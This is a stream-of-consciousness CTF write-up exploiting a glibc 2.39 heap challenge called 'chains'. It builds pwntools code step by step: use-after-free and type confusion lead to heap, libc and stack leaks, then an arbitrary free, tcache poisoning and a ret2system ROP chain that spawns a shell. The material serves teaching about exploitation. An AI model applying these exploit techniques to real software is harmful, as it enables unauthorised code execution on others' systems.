Overview

This writeup will be in written in a stream of consciousness fashion, because I like reading those types of writeups from other people. The process is as important (if not more) as the solution!

I decided to write a writeup for this challenge as it really rocked me while solving it and implementing the solution. It’s quite non-standard, at least from my experience.

For a TLDR you can check the Recap (spoiler alert, obviously).

You can find the sources and author writeup here: https://github.com/C4T-BuT-S4D/bricsctf-2024-quals/tree/master/tasks/pwn/medium-chains (the explanation is quite minimal).

It’s a classic heap challenge (keep these operations in mind):

~> ./chains
1. Add Proxy
2. Delete Proxy
3. Add Chain
4. View Chain
5. Delete Chain
6. Exit
> 

Using glibc version 2.39. Checksec:

Arch:       amd64-64-little
RELRO:      Full RELRO
Stack:      Canary found
NX:         NX enabled
PIE:        PIE enabled
SHSTK:      Enabled
IBT:        Enabled
Stripped:   No

We are even nicely given the source, here’s a snippet:

// ...
typedef struct _proxy {
    char* hostname;
    int16_t port;
} proxy_t;

typedef struct _chain {
    proxy_t* proxy;
    struct _chain* next;
} chain_t;

chain_t* chains[CHAINS_MAX_CNT];
proxy_t* proxies[PROXIES_MAX_CNT];
// ...

If you want to go over it you can check out the linked repo, but it mostly does what you’d expect. You can create and delete proxies and chains. When you create a chain you are asked to specify which proxies it will contain (multiple chains can contain the same proxy). One “chain” is a singly linked list of chain_t structs with the head stored in the chains array.

If you’re astute you may already be able to guess what the vulnerability is, but let’s go over some of the stuff you would usually check.

void read_into_buffer(char* buf, int size) {
    char* result = fgets(buf, size, stdin);

    if (result == NULL) {
        perror("[-] Failed to read into buffer");
        exit(1);
    }

    size_t length = strlen(buf);

    if (length > 0 && buf[length - 1] == '\n') {
        buf[length - 1] = '\0';
    }
}

fgets is used for taking input so our input will be null terminated, and we have to watch for newlines early-terminating our input as well. I won’t go over the add functions but you can trust me that there are no buffer overflows. Here is the freeing:

void delete_chain(void) {
    printf("[?] Enter chain id: ");
    size_t chain_id = (size_t)read_integer();

    if (chain_id >= CHAINS_MAX_CNT) {
        puts("[-] Invalid chain index!");
        return;
    }

    chain_t* chain = chains[chain_id];

    if (chain == NULL) {
        puts("[-] No such chain!");
        return;
    }

    chain_dstr(chain);
    chains[chain_id] = NULL;
}
// ...
void chain_dstr(chain_t* chain) {
    chain_t* head = chain;

    while (head != NULL) {
        proxy_dstr(head->proxy);
        head->proxy = NULL;

        chain_t* next = head->next;
        head->next = NULL;
        free(head);

        head = next;
    }
}

The indexing is properly checked and everything seems to be nulled out after being freed as it should be. Note that when a chain is deleted all of its proxies are deleted with it.

void delete_proxy(void) {
    printf("[?] Enter proxy id: ");
    size_t proxy_id = (size_t)read_integer();

    if (proxy_id >= PROXIES_MAX_CNT) {
        puts("[-] Invalid proxy index!");
        return;
    }

    proxy_t* proxy = proxies[proxy_id];

    if (proxy == NULL) {
        puts("[-] No such proxy!");
        return;
    }

    proxy_dstr(proxy);
    proxies[proxy_id] = NULL;
};

void proxy_dstr(proxy_t* proxy) {
    free(proxy->hostname);
    proxy->hostname = NULL;

    free(proxy);
};

The indexing is properly checked. And the pointers are nulled out.

The vulnerability

So what’s the issue? The core problem is that when a proxy gets freed, either directly or by a chain being deleted, only its pointer in the proxies array gets nulled out. Nothing is done about any of the pointers that other chains contain to that proxy. So if we have:

chain A: [proxy x -> proxy y -> proxy z]
chain B: [proxy x -> proxy m -> proxy n]

After we delete chain A, chain B will still contain a pointer to proxy x even though it is freed memory. In other words, we have a Use After Free (UAF) vulnerability.

Exploitation

One thing we immediately want to know is what chunk sizes we will be playing with. Looking again at the structures we have:

typedef struct _proxy {
    char* hostname;
    int16_t port;
} proxy_t;

typedef struct _chain {
    proxy_t* proxy;
    struct _chain* next;
} chain_t;

The user size of the proxy and chain structs are both 0x10 (so chunk size 0x20). This lands us in the tcache and fastbins.

#define CHAINS_MAX_CNT 32
#define PROXIES_MAX_CNT 64
#define HOSTNAME_SIZE 128
#define MAX_CHAIN_SIZE 16

And the arrays are plenty big so that shouldn’t pose a problem. The hostname strings will be of user size 128 = 0x80 (so chunk size 0x90), landing us in the tcache / unsorted / small bins.

Seems simple enough!

Usually, the first idea that comes to mind at this point is tcache poison (https://github.com/shellphish/how2heap/blob/master/glibc_2.35/tcache_poisoning.c) which would require a libc and a heap leak. Let’s consider how that would look like for a second:

# ...IO helper functions...

p = start()

a = add_proxy(b':3', 1337) # (hostname, port)
ac1 = add_chain([a])
ac2 = add_chain([a])
delete_chain(ac1)
delete_proxy(a) # double free on a
# now take a out, overwrite it etc etc...

p.interactive()
p.close()

To perform a tcache poison we need to edit a chunk that is freed. Since this program doesn’t have an edit-type function we would have to perform a double free and then set the chunk fd pointer on allocation. The problem with this is

# ...
[*] Got EOF while reading in interactive
$ 
[DEBUG] Sent 0x1 bytes:
    b'\n'
[*] Process '/debugchains_patched' stopped with exit code -11 (SIGSEGV) (pid 26823)
[*] Got EOF while sending in interactive
~>

that we cannot perform a double free. This is what the heap looks like right after deletechain(ac1) is finished. alt Now, a->hostname resolves to an invalid address, as the hostname pointer has been overwritten with an encrypted tcache pointer. So when we run deleteproxy(a) we get segmentation fault here:

void proxy_dstr(proxy_t* proxy) {
    free(proxy->hostname); // <- SEGFAULT 
    proxy->hostname = NULL;

    free(proxy);
};

because free tries to access an illegal address.

However, even if this was not an issue we would still be pretty screwed. Consider what the proxy struct looks like:

typedef struct _proxy {
    char* hostname;
    int16_t port;
} proxy_t;

Even if we could perform a double free, what then? We cannot directly control the contents of the hostname pointer, so direct arbitrary write is off the table. Maybe we could hope for getting a pointer to a free chunk there, but that requires both a heap leak (which we don’t yet have) and a double free (which we can’t do) along with some smart feng shui - let’s not go down that rabbit hole. We can directly control the port value, but that is only two bytes, and overlapped with the tcache key which is not very useful.

Our UAF seems pretty useless right about now. At least we can print the freed chunk for a leak right?

p = start()

a = add_proxy(b':D', 42)
ac = add_chain([a])
delete_proxy(a)
# note there is no "view proxy" functionality, only "view chain"
view_chain(ac) 

p.interactive()
p.close()

# ...
[*] Switching to interactive mode
[*] Got EOF while reading in interactive
$ 
[DEBUG] Sent 0x1 bytes:
    b'\n'
[*] Process '/debugchains_patched' stopped with exit code -11 (SIGSEGV) (pid 30688)
[*] Got EOF while sending in interactive
~>

Damn. The hostname pointer cooks us yet again:

void view_chain(void) {
	// ...
	while (chain != NULL) {
        proxy_t* proxy = chain->proxy;

        printf("[*] proxy #%d is %s:%d\n", proxy_id, proxy->hostname, proxy->port); // <- SIGSEGV

        chain = chain->next;
        ++proxy_id;
    }
}

So what the hell?! We have a Use After Free but we cannot double free, and we cannot actually use the chunk after it has been freed!

Type confusion is my best friend

The mistake in the reasoning above is thinking “I freed this proxy, what operations can I do on this proxy now?”. Once memory is freed it is not “a proxy” anymore, it is just “a chunk”. And that chunk can also be a chain_t. Is it really a coincidence that chain_t and proxy_t are the exact same size?

p = start()

victim = add_proxy(b'uaf victim')
dangling = add_chain([victim])
# something to put into the new chain, as it has to contain at least one proxy
fill = add_proxy(b'something')
# put victim in tcache (there is still a pointer to it in dangling)
delete_proxy(victim)
# take the victim chunk out that and "replace it" with a chain for chain
# overwrite .hostname with chain's .proxy
# dangling is still pointing to this
overlapping_proxy_chunk = add_chain([fill])   

p.interactive()
p.close()

This^ is probably the one of the first things you would try after getting to that realization. Free a proxy allocate and it as a chain. Now dangling will think it is pointing to a proxy, while the chunk’s memory will be set up as a chain, and we can perform operations on it as a chain.

These are the things you will have to keep in mind for type confusion vulns, both in general and in regards to heap: “we can perform the operations meant for this type, on this memory” and “this part of the code thinks this memory is this type”.

So what does this look like in our case? alt So if we do

view_chain(dangling)

guess what happens?

[*] Switching to interactive mode
[DEBUG] Received 0x6b bytes:
    00000000  5b 2a 5d 20  70 72 6f 78  79 20 23 30  20 69 73 20  │[*] │prox│y #0│ is │
    00000010  90 c3 55 55  55 55 3a 30  0a 31 2e 20  41 64 64 20  │··UU│UU:0│·1. │Add │
    00000020  50 72 6f 78  79 0a 32 2e  20 44 65 6c  65 74 65 20  │Prox│y·2.│ Del│ete │
    00000030  50 72 6f 78  79 0a 33 2e  20 41 64 64  20 43 68 61  │Prox│y·3.│ Add│ Cha│
    00000040  69 6e 0a 34  2e 20 56 69  65 77 20 43  68 61 69 6e  │in·4│. Vi│ew C│hain│
    00000050  0a 35 2e 20  44 65 6c 65  74 65 20 43  68 61 69 6e  │·5. │Dele│te C│hain│
    00000060  0a 36 2e 20  45 78 69 74  0a 3e 20                  │·6. │Exit│·> │
    0000006b
[*] proxy #0 is \x90\xc3UUUU:0
1. Add Proxy
2. Delete Proxy
3. Add Chain
4. View Chain
5. Delete Chain
6. Exit
> $  

We get a heap leak!! Parsing the leak:

p = start()

victim = add_proxy(b'uaf victim')
dangling = add_chain([victim])
fill = add_proxy(b'something')
delete_proxy(victim)
overlapping_proxy_chunk = add_chain([fill])   
view_chain(dangling)

p.recvuntil(b'proxy #0 is ')
heap = unpack(p.recvuntil(b':0\n', drop=True).ljust(8, b'\x00')) - 0x390
print("== HEAP: ", hex(heap))

p.interactive()
p.close()

But what now?

Reverse the polarity

We replaced a proxy with a chain and got a heap leak, a natural question we could ask ourselves now would be: what happens if we replace a chain with a proxy? Let’s try it!

p = add_proxy('a')
c = add_chain([a])
delete_chain(c)
# ...?

Huh? How do we do this? The only reason we could replace a proxy with a chain was because we had UAF on proxies, but we don’t have that primitive on chains.

There is a way though. Think about it like this, we already know we can get to a state where part of the code thinks a chunk is a proxy, while another thinks it is a chain. So, any operation/primitive we have on chains, we also have on proxies; and any operation we have on proxies we have on proxies, we also have on chains. That is to say, since we can do UAF on proxies, we can translate that into UAF on chains!

The way we do this is simple, we free a proxy, reallocate it as a chain, then free the proxy again. This way the proxy/chain chunk will be freed, while the chain code will not know about it, and will happily continue to use it, i.e. a chain Use After Free.

Just one thing we need to check, is to make sure that the code that will free the proxy the second time will not segfault, as the chunk’s state will be that of a chain. Looking at our diagram from earlier and the freeing function:

void proxy_dstr(proxy_t* proxy) {
	// This will actually be chain_t->proxy
	// which is the "fill" chunk from the diagram.
	// That is fine, no segfault.
    free(proxy->hostname);
    proxy->hostname = NULL;

    free(proxy);
};

Everything seems fine. Let’s see what all this looks like in code:

p = start()

victim = add_proxy(b'uaf victim')
first_free = add_chain([victim])
fill = add_proxy(b'something')
# this will also free victim
delete_chain(first_free)
# the proxy is reallocated as a chain
type_confused = add_chain([fill])
# free the type confused chunk again
# (this isn't double free, we just allocated it^)
delete_proxy(victim)
# the type_confused chain is now UAFd

p.interactive()
p.close()

And as we can see: alt The chains array contains a freed pointer. Now remember, the point of this was to reallocate a chain as a proxy, so let’s do that.

p = start()

victim = add_proxy(b'uaf victim')
first_free = add_chain([victim])
fill = add_proxy(b'something')
delete_chain(first_free)
type_confused = add_chain([fill])
delete_proxy(victim)
# ^^ same as before
# reallocate the chain as a proxy (changing the chunk)
proxy_over_chain = add_proxy(b'AAA')

p.interactive()
p.close()

But what does this get us? Let’s spin up another diagram: alt This is actually really powerful as it allows us to control a pointer. Whatever we set as the hostname string when allocating proxy_over_chain will be interpreted as a pointer by type_confused. We can then do view_chain(type_confused) and it will print the bytes at that address/pointer (thinking it is a proxies hostname), that we set. This essentially gives us arbitrary read. Let’s test it out.

p = start()

# ==== HEAP LEAK ====
victim = add_proxy(b'uaf victim')
dangling = add_chain([victim])
fill = add_proxy(b'something')
delete_proxy(victim)
overlapping_proxy_chunk = add_chain([fill])   
view_chain(dangling)

p.recvuntil(b'proxy #0 is ')
heap = unpack(p.recvuntil(b':0\n', drop=True).ljust(8, b'\x00')) - 0x390
print("== HEAP: ", hex(heap))

# ==== ARBITRARY READ TEST ====
# We will use our arbitrary read to print this
add_proxy(b'SOMELEAK')
leak_target = heap + 0x2c0

victim = add_proxy(b'uaf victim')
first_free = add_chain([victim])
fill = add_proxy(b'something')
delete_chain(first_free)
add_proxy(b'whatever')
type_confused = add_chain([fill])
delete_proxy(victim)
# Setting the .hostname (.proxy) as the address of the target
# Setting the .port (.next) as zero so we break out of the loop when printing the chain
proxy_over_chain = add_proxy(pack(leak_target), 0)

view_chain(type_confused)

p.interactive()
p.close()

Running the script we get:

# ...
    b'5. Delete Chain\n'
    b'6. Exit\n'
    b'> '
[*] proxy #0 is SOMELEAK:10
1. Add Proxy
2. Delete Proxy
3. Add Chain
4. View Chain
5. Delete Chain
6. Exit
> $ 
[*] Interrupted
[*] Stopped process
~>

and can see it worked.

Libc leak

This is really powerful, and in particular allows us to easily get a libc leak. We just need to get a hostname chunk (0x90 internal size) into the unsorted bin by filling the tcache. Then we arbitrary read its fd/bk pointer and voila, a libc leak.

p = start()

# ==== HEAP LEAK ====
victim = add_proxy(b'uaf victim')
dangling = add_chain([victim])
fill = add_proxy(b'something')
delete_proxy(victim)
overlapping_proxy_chunk = add_chain([fill])   
view_chain(dangling)

p.recvuntil(b'proxy #0 is ')
heap = unpack(p.recvuntil(b':0\n', drop=True).ljust(8, b'\x00')) - 0x390
print("== HEAP: ", hex(heap))

# ==== ARBITRARY READ ON UNSORTED -> LIBC LEAK ====

# prepare for filling the tcache
# 6 proxies + 1 chain = 7
tcache_arr = []
for x in range(6):
    tcache_arr.append(add_proxy(b't'))
tcache_chain = add_chain(tcache_arr)
# our arbitrary read target:
unsorted = add_proxy(b'unsorted hostname')
leak_target = heap + 0x9f0 # we figure the offset out by checking in the debugger

# A proxy we won't ever free, so we won't have to worry
# about it being corrupted. Will use it to make chains
# that are needed for tcache emptying.
safe_proxy = add_proxy(b'safe')

# chunks needed for the arbitrary read
victim = add_proxy(b'uaf victim')
first_free = add_chain([victim])
fill = add_proxy(b'something')

# fill the tcache (7 chunks)
delete_chain(tcache_chain)
# put the target into the unsorted bin
delete_proxy(unsorted)

# empty out the tcache bin
for i in range(7):
    # making chains here instead of proxies
    # so we don't run out of proxy indexes
    add_chain([safe_proxy])

# arbitrary read logic
delete_chain(first_free)
add_proxy(b'whatever')
type_confused = add_chain([fill])
delete_proxy(victim)
proxy_over_chain = add_proxy(pack(leak_target), 0)

view_chain(type_confused)

# parse the libc leak
p.recvuntil(b'is ')
libc.address = unpack(p.recvuntil(b':1', drop=True).ljust(8, b'\x00')) - 0x203b20
print("== LIBC: ", hex(libc.address))

p.interactive()
p.close()

Running this gives us: alt And we can check that that is indeed a libc address: alt

Stack leak

Before we move on, we will also get a stack leak as it may come in handy later (it will).

# continued...

# ==== ARBITRARY READ OF ENVIRON -> STACK LEAK ====

# The heap state isn't clean now, but since both the tcache
# and fastbins are take-from-front (stack-like) we don't
# really care.

leak_target = libc.sym['environ']

# Arbitrary read, same as before
victim = add_proxy(b'uaf victim')
first_free = add_chain([victim])
fill = add_proxy(b'something')

delete_chain(first_free)
add_proxy(b'whatever')
type_confused = add_chain([fill])
delete_proxy(victim)
proxy_over_chain = add_proxy(pack(leak_target), 0)

view_chain(type_confused)

# parse the stack leak
p.recvuntil(b'is ')
stack = unpack(p.recvuntil(b':1', drop=True).ljust(8, b'\x00'))
print("== STACK: ", hex(stack))

p.interactive()
p.close()

Which gives us alt which we can verify: alt belongs to the stack.

Note that we couldn’t get a heap leak directly with this arbitrary read primitive (where to point the pointer to?). Furthermore, we used a heap leak for the libc leak, which we used for the stack leak. Thus, the reallocate-proxy-as-chain trick we did in the beginning to get the heap leak was necessary.

Arbitrary write and code execution

Okay we are pretty loaded with leaks and have a reliable way to get more, but to get code execution via heap we usually need to achieve arbitrary (or restricted) write. What else is there left to do?

Actually, there is one more way we can use the tcache-replaced-by-proxy trick which we used for the arbitrary write. Let’s look at the diagram again. alt What happens when type_confused gets deleted as a chain? It is going to call the proxy_dstr function on what it thinks is a proxy, but is actually a hostname which we can change arbitrarily.

void proxy_dstr(proxy_t* proxy) {
    free(proxy->hostname); // We control "proxy->hostname"
    proxy->hostname = NULL;

    free(proxy);
}

In other words, free will be called on an address of our choosing. In the world of heap exploits this is really powerful, and will finally give us the tcache poison we dreamed of.

Ultimately, we would like to do tcache poison on the 0x90 bin as those chunks are the only ones where we have arbitrary control of the contents (because we can set an arbitrary hostname). That being said we cannot do a straight free on an already freed 0x90 chunk (double free) as we will fail the tcache key check and get:

[*] Switching to interactive mode
[DEBUG] Received 0x29 bytes:
    b'free(): double free detected in tcache 2\n'
free(): double free detected in tcache 2
[*] Got EOF while reading in interactive
$ 
[*] Interrupted

What we can do however, is create a completely fresh fake chunk inside of our hostname and then free that. This will give us overlapping chunks and allow us to overwrite the fd pointer of the fake chunk when we allocate the hostname again. Here is the setup visualized: alt In code:

# continued from before..

# ==== TCACHE POISON ====

# Need to allocate a chunk now which I
# can free later to increase the chunk count
# for the 0x90 tcache bin which will allow 
# the poison to happen.
tcache_count_inc = add_proxy(b'tcache +1')

# This address is the address of
# victim's hostname + 0x20
fake_chunk_addr = heap + 0xb70

# reallocate-chain-as-proxy primitive, like before
victim = add_proxy(b'uaf victim')
first_free = add_chain([victim])
fill = add_proxy(b'something')

delete_chain(first_free)
add_proxy(b'whatever')
type_confused = add_chain([fill])

delete_proxy(victim)
# Setup fake chunk
proxy_over_chain = add_proxy(flat(
    pack(fake_chunk_addr),
    0,
    0,
    0x91,
), 0)

# Increase tcache count for the 0x90 bin
delete_proxy(tcache_count_inc)

# The victim->hostname (i.e. proxy_over_chain->hostname)
# will be freed, along with the fake chunk inside it
delete_chain(type_confused)

p.interactive()
p.close()

Which in memory looks like: alt Now, getting from overlapping tcache chunks to code execution is pretty standard. We’re going to make a ret2system ROP chain with the stack leak we got earlier. First of all though:

# continued..

# Using tcache poison for ROP
target_addr = stack - 0x138

# Take the victim->hostname out
# and set the fd pointer of the fake chunk
add_proxy(flat(
    0, 0,
    0, 0x91,
    mangle_ptr(target_addr, fake_chunk_addr)
))

p.interactive()
p.close()

In memory: alt The 2 in 0x90 [ 2] denotes the chunk count, see why we had to increase it? Finally:

# continued..

# take out the fake chunk
add_proxy(b'whatever')

# ROP gadgets
pop_rdi = libc.address + 0x001ae710
ret = libc.address + 0x00152a63

# ret2system overwrite return address
add_proxy(flat(
    0x0,                # chunk alignment
    pop_rdi,
    next(libc.search(b'/bin/sh')),
    ret,                # stack alignment
    libc.sym['system']
))

# Exit the program, triggering the ROP chain
p.sendlineafter(b'> ', b'6')

p.interactive()
p.close()

Running the exploit: alt Gives us a shell! So happy…

Recap

glibc version 2.39 heap. Clear UAF on proxy_t but doesn’t allow double free needed for tcache poison due to structure layout.Type confusion over proxy_t and chain_t, one direction gives heap leak and allows UAF over chain_t. Type confusion in other direction gives pointer control allowing arbitrary read with view_chain and an arbitrary free with delete_chain. Libc leak (unsorted ) and stack leak (environ) via arbitrary read. Fake chunk + arbitrary free -> overlapping chunks -> tcache poison -> ROP (ret2system).

Check out the full exploit here: exploit.py